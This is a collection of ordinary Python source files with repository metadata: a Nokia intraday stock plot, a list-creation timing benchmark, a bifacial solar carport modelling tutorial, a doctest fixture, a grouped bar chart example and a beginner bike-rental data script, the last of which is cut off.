{"text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n# ---\n# jupyter:\n#   jupytext:\n#     text_representation:\n#       extension: .py\n#       format_name: light\n#       format_version: '1.4'\n#       jupytext_version: 1.1.4\n#   kernelspec:\n#     display_name: Python 3\n#     language: python\n#     name: python3\n# ---\n\n# # s_stock_short_horizon [<img src=\"https://www.arpm.co/lab/icons/icon_permalink.png\" width=30 height=30 style=\"display: inline;\">](https://www.arpm.co/lab/redirect.php?code=s_stock_short_horizon&codeLang=Python)\n# For details, see [here](https://www.arpm.co/lab/redirect.php?permalink=ExerStockShort).\n\n# +\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.dates as mdates\nimport datetime as dt\nfrom pandas.plotting import register_matplotlib_converters\nregister_matplotlib_converters()\n\nfrom arpym.tools import add_logo\n# -\n\n# ## [Input parameters](https://www.arpm.co/lab/redirect.php?permalink=s_stock_short_horizon-parameters)\n\n# day, month and the year of the plotted value\nday = 2\nmonth = 9\nyear = 2015\n\n# ## [Step 0](https://www.arpm.co/lab/redirect.php?permalink=s_stock_short_horizon-implementation-step00): Load data\n\n# loading data from 2015-05-27 to 2015-12-07\npath = '../../../databases/global-databases/high-frequency/db_stock_NOK_intraday/'\ndf_nokia_stock = pd.read_csv(path + 'data.csv',\n                             header=0)\n# convert column 'date' from string to datetime64\ndf_nokia_stock['date'] = pd.to_datetime(df_nokia_stock.date, dayfirst=True)\n\n# ## [Step 1](https://www.arpm.co/lab/redirect.php?permalink=s_stock_short_horizon-implementation-step01): Select the data to be plotted\n\nt_first = dt.datetime(year, month, day, 9, 30)  # starting time\nt_last = dt.datetime(year, month, day, 16, 0)  # ending time\n# select data\nv_stock = df_nokia_stock[(df_nokia_stock.date >= t_first) &\n                         (df_nokia_stock.date <= t_last)]\n\n# ## Plots\n\n# +\nplt.style.use('arpm')\n# extract values from dataframe\nt = v_stock.date.values\nv_t_stock = v_stock.price.values\n\nnumber_of_xticks = 6\ntick_array = np.linspace(0, t.shape[0]-1, number_of_xticks, dtype=int)\nmyFmt = mdates.DateFormatter('%H:%M:%S')\n\nfig = plt.figure()\nplt.plot_date(t, v_t_stock, '-')\nplt.gca().xaxis.set_major_formatter(myFmt)\nplt.xticks(t[tick_array])\nplt.xlabel('Time')\nplt.ylabel('Value')\nplt.title(f'NOKIA intraday value on {dt.date(year, month, day)}')\nadd_logo(fig)\n", "meta": {"hexsha": "a1a93a624d81fdd77757b02d007e64b495b462d4", "size": 2421, "ext": "py", "lang": "Python", "max_stars_repo_path": "scripts/sources/s_stock_short_horizon.py", "max_stars_repo_name": "dpopadic/arpmRes", "max_stars_repo_head_hexsha": "ddcc4de713b46e3e9dcb77cc08c502ce4df54f76", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 6, "max_stars_repo_stars_event_min_datetime": "2021-04-10T13:24:30.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-26T08:20:42.000Z", "max_issues_repo_path": "scripts/sources/s_stock_short_horizon.py", "max_issues_repo_name": "dpopadic/arpmRes", "max_issues_repo_head_hexsha": "ddcc4de713b46e3e9dcb77cc08c502ce4df54f76", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "scripts/sources/s_stock_short_horizon.py", "max_forks_repo_name": "dpopadic/arpmRes", "max_forks_repo_head_hexsha": "ddcc4de713b46e3e9dcb77cc08c502ce4df54f76", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 6, "max_forks_repo_forks_event_min_datetime": "2019-08-13T22:02:17.000Z", "max_forks_repo_forks_event_max_datetime": "2022-02-09T17:49:12.000Z", "avg_line_length": 31.8552631579, "max_line_length": 213, "alphanum_fraction": 0.7125154895, "include": true, "reason": "import numpy", "num_tokens": 681, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48438008427698437, "lm_q2_score": 0.12940272487671914, "lm_q1q2_score": 0.06268010278145664}}
{"text": "import time\n\nimport numpy as np\n\n\ndef timed(f):\n    start = time.perf_counter()\n    for _ in range(100):\n        f(10000)\n    end = time.perf_counter()\n    return end - start\n\n\ndef append_loop(n):\n    \"\"\"Simple loop with append\"\"\"\n    my_list = []\n    for _ in range(n):\n        my_list.append(0)\n\n\ndef add_loop(n):\n    \"\"\"Simple loop with +=\"\"\"\n    my_list = []\n    for _ in range(n):\n        my_list += [0]\n\n\ndef list_comprehension(n):\n    \"\"\"List comprehension\"\"\"\n    _ = [0 for _ in range(n)]\n\n\ndef integer_multiplication(n):\n    \"\"\"List and integer multiplication\"\"\"\n    _ = [0] * n\n\n\ndef numpy_array(n):\n    _ = np.zeros(n)\n\n\nfns = [append_loop, add_loop, list_comprehension, integer_multiplication, numpy_array]\nprint([timed(f) for f in fns])\n", "meta": {"hexsha": "7a57597a95b716d38d62b58aed7b9fbdb4d92bf9", "size": 750, "ext": "py", "lang": "Python", "max_stars_repo_path": "utils/list_comp.py", "max_stars_repo_name": "TylerYep/workshop", "max_stars_repo_head_hexsha": "69b19afc81c1b84b7f60723077670fb789b55744", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2021-06-14T01:20:09.000Z", "max_stars_repo_stars_event_max_datetime": "2021-06-14T01:20:09.000Z", "max_issues_repo_path": "utils/list_comp.py", "max_issues_repo_name": "TylerYep/workshop", "max_issues_repo_head_hexsha": "69b19afc81c1b84b7f60723077670fb789b55744", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "utils/list_comp.py", "max_forks_repo_name": "TylerYep/workshop", "max_forks_repo_head_hexsha": "69b19afc81c1b84b7f60723077670fb789b55744", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 17.0454545455, "max_line_length": 86, "alphanum_fraction": 0.608, "include": true, "reason": "import numpy", "num_tokens": 203, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4455295350395727, "lm_q2_score": 0.14033625308549463, "lm_q1q2_score": 0.06252394558637622}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# # 5 - Medium Level Example - Modeling Carports and Canopies + Sampling accross a Module!\n# \n# This journal shows how to model a carport or canopy ~ a fixed structure, usually at a high clearance from the ground, with more than one bifacial solar module in the same inclined-plane to create a \"shade\" for the cars/people below.\n# \n# We assume that bifacia_radiacne is already installed in yoru computer. This works for bifacial_radiance v.3 release.\n# \n# These journal outlines 4 useful uses of bifacial_radiance and some tricks: \n# \n# <ul>\n#     <li> Creating the modules in the canopy/carport </li>\n#     <li> Adding extra geometry for the pillars/posts supporting the carport/canopy </li>\n#     <li> Sampling the rear irradiance with more resolution (more sensors) </li>\n#     <li> and hacking the sensor position to obtain an irradiance map of rear-irradiance. </li>\n#     <li> Adding an object to simulate a car with a specific reflectivity. </li>\n# </ul>\n# \n# This is what we will create:\n# ![Carport Image We will create](../images_wiki/Carport.png)\n# \n# ### Steps:\n# \n# <ol>\n#     <li> <a href='#step1'> Setup of Variables through Making OCT Axis </a></li>\n#     <li> <a href='#step2'> Adding the pillars </a></li>\n#     <li> <a href='#step3'> Analysis of the collector width </a></li>\n#     <li> <a href='#step4'> Mapping the irradiance througout all the Carport </a></li>\n#     <li> <a href='#step5'> Adding a \"Car\" </a></li>\n# <ol>\n# \n\n# <a id='step1'></a>\n\n# ### 1. Setup of Variables through Making OCT Axis\n# \n# We've done this before a couple times, no new stuff here. \n# \n# The magic is that, for doing the carport we see in the figure, we are going to do a 4-up configuration of modules (**numpanels**), and we are going to repeat that 4-UP 7 times (**nMods**)\n\n# In[2]:\n\n\nfrom bifacial_radiance import *   \nimport numpy as np\n\n\n# In[4]:\n\n\nfrom pathlib import Path\ntestfolder = str(Path().resolve().parent.parent / 'bifacial_radiance' / 'TEMP')\n\ntimestamp = 4020 # Noon, June 17th. \nsimulationname = 'HotelCarport'\n\n# MakeModule Parameters\nmoduletype='PrismSolar'\nnumpanels = 4  # Carport will have 4 modules along the y direction (N-S since we are facing it to the south) .\nx = 0.95  \ny = 1.95\nxgap = 0.15 # Leaving 15 centimeters between modules on x direction\nygap = 0.10 # Leaving 10 centimeters between modules on y direction\nzgap = 0 # no gap to torquetube.\nsensorsy = 10*numpanels  # this will give 70 sensors per module.\n\n# Other default values:\n\n# TorqueTube Parameters\naxisofrotationTorqueTube=False\ntorqueTube = False\ncellLevelModule = False\n\n# SceneDict Parameters\ngcr = 0.33   # We are only doing 1 row so this doesn't matter\nalbedo = 0.28  #'concrete'     # ground albedo\nclearance_height = 4.3 # m  \nnMods = 7 # six modules length.\nnRows = 1  # only 1 row\n\nazimuth_ang=180 # Facing south\ntilt =20 # tilt. \n\n# Now let's run the example\n\ndemo = RadianceObj(simulationname,path = testfolder)  # Create a RadianceObj 'object'\ndemo.setGround(albedo) # input albedo number or material name like 'concrete'.  To see options, run this without any input.\nepwfile = demo.getEPW(40.0583,-74.4057) # NJ lat/lon 40.0583\u00b0 N, 74.4057\nmetdata = demo.readEPW(epwfile) # read in the EPW weather data from above\ndemo.gendaylit(4020)  # Use this to simulate only one hour at a time. \n# This allows you to \"view\" the scene on RVU (see instructions below)\n# timestam 4020 : Noon, June 17th.\n#demo.genCumSky(demo.epwfile) # Use this instead of gendaylit to simulate the whole year\n\n# Making module with all the variables\nmoduleDict=demo.makeModule(name=moduletype,x=x,y=y,numpanels = numpanels, xgap=xgap, ygap=ygap)\n# create a scene with all the variables\nsceneDict = {'tilt':tilt,'pitch': round(gcr/moduleDict['sceney'],3),'clearance_height':clearance_height,'azimuth':azimuth_ang, 'module_type':moduletype, 'nMods': nMods, 'nRows': nRows}  \nscene = demo.makeScene(moduletype=moduletype, sceneDict=sceneDict) #makeScene creates a .rad file with 20 modules per row, 7 rows.\noctfile = demo.makeOct(demo.getfilelist())  # makeOct combines all of the ground, sky and object fil|es into a .oct file.\n\n\n# If you view the Oct file at this point, you should see the array of 7 modules, with 4 modules each along the collector widt.\n\n# <a id='step2'></a>\n\n# ### 2. Adding the pillars\n# \n# We will add 4 pillars at roughly the back and front corners of the structure. Some of the code below is to calculate the positions of where the pillars will be at.\n# \n# We are calculating the location with some math geometry\n\n# In[5]:\n\n\nxright= x*4\nxleft=  -xright\n\n#centerhubheight = (1.9*3+1.9/2)*np.sin(tilt*np.pi/180)\ny2nd = -(y*numpanels/2)*np.cos(tilt*np.pi/180) + (y)*np.cos(tilt*np.pi/180)\ny6th=  -(y*numpanels/2)*np.cos(tilt*np.pi/180) + (y*numpanels)*np.cos(tilt*np.pi/180)\nz2nd = (y*np.sin(tilt*np.pi/180))+clearance_height\nz6th =  (y*numpanels)*np.sin(tilt*np.pi/180)+clearance_height\n\nname='Post1'\ntext='! genbox black cuteBox 0.5 0.5 {} | xform -t -0.25 -0.25 0 -t {} {} 0'.format(z2nd, xleft, y2nd)\nprint (text)\ncustomObject = demo.makeCustomObject(name,text)\ndemo.appendtoScene(radfile=scene.radfiles, customObject=customObject, text=\"!xform -rz 0\")\n\nname='Post2'\ntext='! genbox black cuteBox 0.5 0.5 {} | xform -t -0.25 -0.25 0 -t {} {} 0'.format(z2nd, xright, y2nd)\ncustomObject = demo.makeCustomObject(name,text)\ndemo.appendtoScene(scene.radfiles, customObject, '!xform -rz 0')\n\nname='Post3'\ntext='! genbox black cuteBox 0.5 0.5 {} | xform -t -0.25 -0.25 0 -t {} {} 0'.format(z6th, xright, y6th)\ncustomObject = demo.makeCustomObject(name,text)\ndemo.appendtoScene(scene.radfiles, customObject, '!xform -rz 0')\n\nname='Post4'\ntext='! genbox black cuteBox 0.5 0.5 {} | xform -t -0.25 -0.25 0 -t {} {} 0'.format(z6th, xleft, y6th)\ncustomObject = demo.makeCustomObject(name,text)\ndemo.appendtoScene(scene.radfiles, customObject, '!xform -rz 0')\n\noctfile = demo.makeOct(demo.getfilelist())  # makeOct combines all of the ground, sky and object files into a .oct file.\n\n\n# ### View the geometry with the posts on :\n# \n# ## rvu -vf views\\front.vp -e .01 -pe 0.4 -vp 3.5 -20 22 HotelCarport.oct\n# \n# -pe sets the exposure levels, and -vp sets the view point so the carport is centered (at least on my screen. you can play with the values). It should look like this:\n# \n# ![Carpport with posts](../images_wiki/Carport.png)\n# \n# The post should be coindient with the corners of the array on the high-end of the carport, and on the low end of the carport they should be between the lowest module and the next one. Cute! \n# \n# \n\n# <a id='step3'></a>\n# \n\n# ### 3. Analysis of the collector width\n# \n# Now let's do some analysis along the slope of the modules. Each result file will contain irradiance for the 4 modules that make up the slope of the carport. You can select which \"module\" along the row you sample too.\n# \n# We are also increasign the number of points sampled accross the collector width, with the  variable **sensorsy** passed to **moduleanalysis**\n\n# In[4]:\n\n\nanalysis = AnalysisObj(octfile, demo.name)  # return an analysis object including the scan dimensions for back irradiance\nmodWanted = 1\nrowWanted = 1\nfrontscan, backscan = analysis.moduleAnalysis(scene, modWanted=modWanted, rowWanted=rowWanted, sensorsy=sensorsy)\n\nanalysis.analysis(octfile, simulationname+\"Mod1\", frontscan, backscan)  # compare the back vs front irradiance  \nprint('Annual bifacial ratio average:  %0.3f' %( sum(analysis.Wm2Back) / sum(analysis.Wm2Front) ) )\nprint(\"\")\n\n\n# This is the module analysis and an image of the results file\n# ![This is the module analysed.](../images_wiki/Carport_analysis.PNG)\n# \n# You can repeat the analysis for any other module in the row:\n# \n# <div class=\"alert alert-warning\">\n# Notice we are passing a CUSTOM simulation name so the results are generated in separate csv files.\n# </div>\n# \n\n# In[5]:\n\n\nmodWanted = 2\nrowWanted = 1\nfrontscan, backscan = analysis.moduleAnalysis(scene, modWanted=modWanted, rowWanted=rowWanted, sensorsy=sensorsy)\n\nanalysis.analysis(octfile, simulationname+\"Mod2\", frontscan, backscan)  # compare the back vs front irradiance  \nprint('Annual bifacial ratio average:  %0.3f' %( sum(analysis.Wm2Back) / sum(analysis.Wm2Front) ) )\n\n\nmodWanted = 3\nrowWanted = 1\nfrontscan, backscan = analysis.moduleAnalysis(scene, modWanted=modWanted, rowWanted=rowWanted, sensorsy=sensorsy)\n        \nanalysis.analysis(octfile, simulationname+\"Mod3\", frontscan, backscan)  # compare the back vs front irradiance  \nprint('Annual bifacial ratio average:  %0.3f' %( sum(analysis.Wm2Back) / sum(analysis.Wm2Front) ) )\n\n\n# <a id='step4'></a>\n\n# ### 4. Mapping the irradiance througout all the Carport (\"Hack\" the sensors) \n# \n# You can \"hack\" the sensors starting locations to obtain an irradinace distribution map. This is easier when the modules are facing South, or East/West. Below is an example, you'll have to repeat over all the modules/ all the surface area with as much resolution as you have patience to see edge-effects.\n\n# In[6]:\n\n\n# HACK Frontscan and Backscan\nfrontscan['xstart']=-1.2\n        \nanalysis.analysis(octfile, simulationname+\"Mod3_point2\", frontscan, backscan)  # compare the back vs front irradiance  \nprint('Annual bifacial ratio average:  %0.3f' %( sum(analysis.Wm2Back) / sum(analysis.Wm2Front) ) )\n\n\n# <div class=\"alert alert-warning\">\n# The printed Annual bifacial ratio does not include cleaning of the sensors for the material. Some of the sensros might fall in the spacing between the modules (ygaps) or in the structures added, torquetubes, etc. For a real bifacial ratio gain, use the load and clean functions in load.py. \n# \n# (This process might be automated in a future release TBD)\n# </div>\n# \n# \n\n# <a id='step5'></a>\n\n# ### 5. Adding a \"Car\"\n# \n# Add a surface (just like we added the pillars) with a specific reflectivity to represent a car. If you are doing hourly simulation you can compare how much the irradiance increases with and without the car, and if you keep track of your parking lot comings/goings this could make an interesting toy-problem: how much are your employees contributing to your rear irradiance production? \n\n# In[7]:\n\n\nname='Car_1'\ncarpositionx=-2\ncarpositiony=-1\ntext='! genbox white_EPDM HondaFit 1.6 4.5 1.5 | xform -t -0.8 -2.25 0 -t {} {} 0'.format(carpositionx, carpositiony)\ncustomObject = demo.makeCustomObject(name,text)\ndemo.appendtoScene(scene.radfiles, customObject, '!xform -rz 0')\n\noctfile = demo.makeOct(demo.getfilelist())  # makeOct combines all of the ground, sky and object files into a .oct file.\n\n\n# Viewing with:\n# ## rvu -vf views\\front.vp -e .01 -pe 0.019 -vp 1.5 -14 15 HotelCarport.oct\n# \n# \n# ![Behold the Honda-fit sized cube](../images_wiki/Carport_with_car.PNG)\n\n# In[ ]:\n\n\n\n\n", "meta": {"hexsha": "c188f421517a5255e33af4447b96764fb474b74b", "size": 10743, "ext": "py", "lang": "Python", "max_stars_repo_path": "docs/tutorials/5 - Medium Level Example - Bifacial Carports and Canopies + sampling across a module!.py", "max_stars_repo_name": "tjcoathu/bifacial_radiance", "max_stars_repo_head_hexsha": "6e22bf6214696c5994738284b0ae4499c5ca2c05", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 55, "max_stars_repo_stars_event_min_datetime": "2018-04-16T16:14:48.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-28T09:57:23.000Z", "max_issues_repo_path": "docs/tutorials/5 - Medium Level Example - Bifacial Carports and Canopies + sampling across a module!.py", "max_issues_repo_name": "tjcoathu/bifacial_radiance", "max_issues_repo_head_hexsha": "6e22bf6214696c5994738284b0ae4499c5ca2c05", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": 350, "max_issues_repo_issues_event_min_datetime": "2018-02-15T10:51:28.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-28T21:18:08.000Z", "max_forks_repo_path": "docs/tutorials/5 - Medium Level Example - Bifacial Carports and Canopies + sampling across a module!.py", "max_forks_repo_name": "tjcoathu/bifacial_radiance", "max_forks_repo_head_hexsha": "6e22bf6214696c5994738284b0ae4499c5ca2c05", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": 39, "max_forks_repo_forks_event_min_datetime": "2018-09-30T15:12:47.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-28T09:57:43.000Z", "avg_line_length": 40.2359550562, "max_line_length": 387, "alphanum_fraction": 0.7218654007, "include": true, "reason": "import numpy", "num_tokens": 3189, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4111108548019597, "lm_q2_score": 0.15203223585907102, "lm_q1q2_score": 0.06250210244147583}}
{"text": "\"\"\"Fixtures and configuration for doctests.\"\"\"\n\nimport numpy as np\nimport pytest\n\nimport probnum as pn\n\n\n@pytest.fixture(autouse=True)\ndef autoimport_packages(doctest_namespace):\n    \"\"\"This fixture 'imports' standard packages automatically in order to avoid\n    boilerplate code in doctests\"\"\"\n\n    doctest_namespace[\"pn\"] = pn\n    doctest_namespace[\"np\"] = np\n", "meta": {"hexsha": "7a2faa20181c78d75bfd360d51291feb2d8bfe09", "size": 362, "ext": "py", "lang": "Python", "max_stars_repo_path": "src/probnum/conftest.py", "max_stars_repo_name": "fxbriol/probnum", "max_stars_repo_head_hexsha": "7e0e94cf9146aaa2b730b02c6d75a022cd629b5c", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 226, "max_stars_repo_stars_event_min_datetime": "2019-11-01T09:44:09.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T23:17:17.000Z", "max_issues_repo_path": "src/probnum/conftest.py", "max_issues_repo_name": "fxbriol/probnum", "max_issues_repo_head_hexsha": "7e0e94cf9146aaa2b730b02c6d75a022cd629b5c", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 590, "max_issues_repo_issues_event_min_datetime": "2019-11-21T08:32:30.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-31T12:37:37.000Z", "max_forks_repo_path": "src/probnum/conftest.py", "max_forks_repo_name": "fxbriol/probnum", "max_forks_repo_head_hexsha": "7e0e94cf9146aaa2b730b02c6d75a022cd629b5c", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 39, "max_forks_repo_forks_event_min_datetime": "2020-01-13T16:29:45.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-28T16:16:54.000Z", "avg_line_length": 22.625, "max_line_length": 79, "alphanum_fraction": 0.7458563536, "include": true, "reason": "import numpy", "num_tokens": 84, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.3849121444839335, "lm_q2_score": 0.162380040720207, "lm_q1q2_score": 0.06250204969500332}}
{"text": "#!/Users/zhiyang/anaconda3/bin/python3\n\"\"\"\n=============================\nGrouped bar chart with labels\n=============================\n\nThis example shows a how to create a grouped bar chart and how to annotate\nbars with labels.\n\n\n@modified by Zhiyang Ong, January 15, 2020.\n+ Added code to make the comparison between three gender groups:\n\t- Men (default group)\n\t- Women (another default group)\n\t- Others (new group)\n\"\"\"\n\nimport matplotlib\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n\nlabels = ['G1', 'G2', 'G3', 'G4', 'G5']\nmen_means = [20, 34, 30, 35, 27]\nwomen_means = [25, 32, 34, 20, 25]\n# @modified by Zhiyang Ong, January 15, 2020.\nother_means = [18, 31, 40, 27, 20]\n\nx = np.arange(len(labels))  # the label locations\nwidth = 0.3  # the width of the bars\n\n\"\"\"\n\t@modified by Zhiyang Ong, January 15, 2020.\n\tCenter point of each bar per group, G_i, for number of populations:\n\t+ 2: x - width/2, x + width/2\n\t+ 3: x - width, x, x + width\n\t+ 4: x - width\n\"\"\"\nfig, ax = plt.subplots()\n\"\"\"\n\trects1 = ax.bar(x - width/2, men_means, width, label='Men')\n\trects2 = ax.bar(x + width/2, women_means, width, label='Women')\n\t\n\tFrom https://matplotlib.org/3.1.1/api/_as_gen/matplotlib.pyplot.bar.html,\n\t\tdefault width is 0.8.\n\"\"\"\n\n\"\"\"\nrects1 = ax.bar(x - width, men_means, align='edge', width=0.3, label='Men')\nrects2 = ax.bar(x, women_means, align='edge', width=0.3, label='Women')\n# @modified by Zhiyang Ong, January 15, 2020.\nrects3 = ax.bar(x + width, other_means, align='edge', width=0.3, label='Others')\n\"\"\"\n\n\"\"\"\n# @modified by Zhiyang Ong, January 15, 2020.\nrects1 = ax.bar(x - 0.3, men_means, align='edge', width=0.3, label='Men')\nrects2 = ax.bar(x, women_means, align='edge', width=0.3, label='Women')\nrects3 = ax.bar(x + 0.3, other_means, align='edge', width=0.3, label='Others')\n\"\"\"\n\nrects1 = ax.bar(x - width, men_means, width, label='Men')\nrects2 = ax.bar(x, women_means, width, label='Women')\nrects3 = ax.bar(x + width, other_means, width, label='Others')\n\n\n\n\n\n\n\n\n\n\n\n# Add some text for labels, title and custom x-axis tick labels, etc.\nax.set_ylabel('Scores')\nax.set_xlabel('Groups and genders')\nax.set_title('Scores by group and gender')\nax.set_xticks(x)\nax.set_xticklabels(labels)\n#ax.legend()\n# @modified by Zhiyang Ong, January 15, 2020.\n#ax.legend(handletextpad=5)\n#\tNo effect. Does not work.\n\n\ndef autolabel(rects):\n\t\"\"\"Attach a text label above each bar in *rects*, displaying its height.\"\"\"\n\tfor rect in rects:\n\t\theight = rect.get_height()\n\t\tax.annotate('{}'.format(height),\n\t\t\t#xy=(rect.get_x() + rect.get_width() / 2, height),\n\t\t\t# @modified by Zhiyang Ong, January 15, 2020.\n\t\t\txy=(rect.get_x() + rect.get_width() / 3, height),\n\t\t\txytext=(0, 3),  # 3 points vertical offset\n\t\t\ttextcoords=\"offset points\",\n\t\t\tha='center', va='bottom')\n\n\n\n\n\n\nautolabel(rects1)\nautolabel(rects2)\n\nfig.tight_layout()\n\n\n\"\"\"\n\t@modified by Zhiyang Ong, January 15, 2020.\n\tSave plot in PDF format.\n\tThis save to PDF command has to appear before the .show()\n\t\tcommand;\n\t\telse, the PDF fuile would be empty.\n\thttps://github.com/futurestudio/matplotlib-tutorials/tree/master/export_samples\n\t\n\tReference:\n\t\tNorman Peitek, \"Matplotlib \u2014 Save Plots as File\", from\n\t\t\t{\\it Future Studio: Future Studio Tutorials},\n\t\t\t{Fellner, P{\\\"{o}}hls, Peitek GbR}, Magdeburg,\n\t\t\tSaxony-Anhalt, Germany, August 5, 2019.\n\t\t\tAvailable at: https://futurestud.io/tutorials/matplotlib-save-plots-as-file;\n\t\t\t\tlast accessed on January 15, 2019.\n\"\"\"\nplt.savefig(__file__+\".pdf\")\nplt.show()\n\n\n\n\n#############################################################################\n#\n# ------------\n#\n# References\n# \"\"\"\"\"\"\"\"\"\"\n#\n# The use of the following functions, methods and classes is shown\n# in this example:\n\nmatplotlib.axes.Axes.bar\nmatplotlib.pyplot.bar\nmatplotlib.axes.Axes.annotate\nmatplotlib.pyplot.annotate\n\n\n\n\n\n\n\n\n\n\"\"\"\n\tReference(s):\n\t+ \\cite{MatplotlibDevelopmentTeam2020a}\n\t\t- data visualization gallery (with examples, or sample code)\n\n\"\"\"\n", "meta": {"hexsha": "78decdfd5cb10c2f3282fea81e79e9e809a2c926", "size": 3920, "ext": "py", "lang": "Python", "max_stars_repo_path": "b-visualization/barchart_3_groups.py", "max_stars_repo_name": "eda-ricercatore/python-sandbox", "max_stars_repo_head_hexsha": "741d23e15f22239cb5df8af6e695cd8e3574be50", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "b-visualization/barchart_3_groups.py", "max_issues_repo_name": "eda-ricercatore/python-sandbox", "max_issues_repo_head_hexsha": "741d23e15f22239cb5df8af6e695cd8e3574be50", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "b-visualization/barchart_3_groups.py", "max_forks_repo_name": "eda-ricercatore/python-sandbox", "max_forks_repo_head_hexsha": "741d23e15f22239cb5df8af6e695cd8e3574be50", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 24.1975308642, "max_line_length": 80, "alphanum_fraction": 0.6586734694, "include": true, "reason": "import numpy", "num_tokens": 1188, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.4960938294709195, "lm_q2_score": 0.12592276975547595, "lm_q1q2_score": 0.062469509065578945}}
{"text": "# -*- coding: utf-8 -*-\n\"\"\"\nSpyder Editor\n\nThis is a temporary script file.\n\"\"\"\n\n3+2\n\na= 'good morning'\nb= 'Vietnam'\n\nprint(a)\nprint(b)\n\nc= a + b\n\nprint(c)\n\nimport os   #sistema operativo\nimport pandas as pd   #gestionar datframes\nimport numpy as np     # numeric python vectores\nimport matplotlib.pyplot as plt  # grafics\n\n#create a dataframe \n#Lists are defined i Python whith [], separate by commas\n\nname = ['Marta', 'Thais', 'Enrique', 'Lluna', 'Cristian']\nage = [35,34,45,24,22]\ngender = ['Female', 'Famale', 'Male', 'Female','Male']\n\nprint(name, age, gender)\n\n\nclass2021 = pd.DataFrame({'name' : name, 'age' : age, 'gender' : gender})\n\n#clean up\ndel (age,gender,name)\n\ndel (a)\ndel (b)\ndel (c)\n\nclass2021.shape   #dimensionalidad de un dataframe\n\nclass2021.head(3)\nclass2021.tail(2)\n\n#QC OK\n\nedad = class2021.age\ndel(edad)\n\n\n#Get working directory\nos.chdir(r'C:\\Users\\marta\\git\\Edem2021MDA\\pep')\nos.getcwd()\n\n#save dataframe to excel\nclass2021.to_excel(\"class2020.xlsx\")\nclass2021.to_csv(\"class2020.csv\")\n\n\n#Reset all (carefull this is a \"magic\" funcion then it doesn\u00b4t)\nreset -f\n\n#Load basiclibraries\nimport os   #sistema operativo\nimport pandas as pd   #gestionar datframes\nimport numpy as np     # numeric python vectores\nimport matplotlib.pyplot as plt  # grafics\n\n#change working directory\nos.chdir(r'C:\\Users\\marta\\git\\Edem2021MDA\\pep')\nos.getcwd()\n\n\n\n#to learn path to file:\n\nrentals_2011 = pd.read_csv ('washington_bike_rentals_2011.csv', sep=';', decimal=',')\n\nrentals_2011.shape\nrentals_2011.head()\nrentals_2011.tail()\n\n#QC OK\n\n#Extra our first plot\nimport matplotlib.pyplot as plt\n\n#select  the variable to plot\n\nrentals_2011.cnt\nnp.mean (rentals_2011.cnt)\nnp.std (rentals_2011.cnt)\n\n\nrentals_2011.cnt.mean()    #en python\nrentals_2011.cnt.describe()\n\n\nplt.hist(rentals_2011.cnt)    #histograma\nrentals_2011.cnt.hist()\n\n\n#plot\nx=rentals_2011.cnt   #si el nombre de la variable no tiene espacios\nx=rentals_2011['cnt']   #cuando hay cararcteres especiales, espacios...\n\nplt.hist(x,edgecolor='black', bins=20)\nplt.xticks(np.arange(0, 7000, step=1000))\nplt.title(\"Figure 1. Registred rental in Washington\")\nplt.ylabel('Frecuencia')\nplt.xlabel('Number of rentals')\nplt.show() #finalizar el gr\u00e1fico\n\nplt.hist(y,edgecolor='black')\nptl.show()\n\nweather_2011 = pd.read_csv ('weather_washington_2011.csv', sep=';', decimal=',')\n\nweather_2011.shape\nweather_2011.dtypes\n\nweather_2011.head()\nweather_2011.tail()\n\n#QC OK\n\ndel(x)\n\nrental_weather_2011 =pd.merge(weather_2011, rentals_2011, on=\"day\")\n\nrental_weather_2011.shape\n\n\n\nrental_weather_2011.to_csv(\"rental_weather_2011.csv\")\n\n\ndel rental_weather_2011['dteday_y']    #borrar columna\n\n#cambiar nombre columna\nrental_weather_2011 =  rental_weather_2011.rename(columns={\"dteday_x\": \"dteday\"})\n\ndel (weather_2011)\ndel (rentals_2011)\ndel (class2021)\n\nrentals_weather_2012= pd.read_csv ('rentals_weather_2012.csv', sep=';', 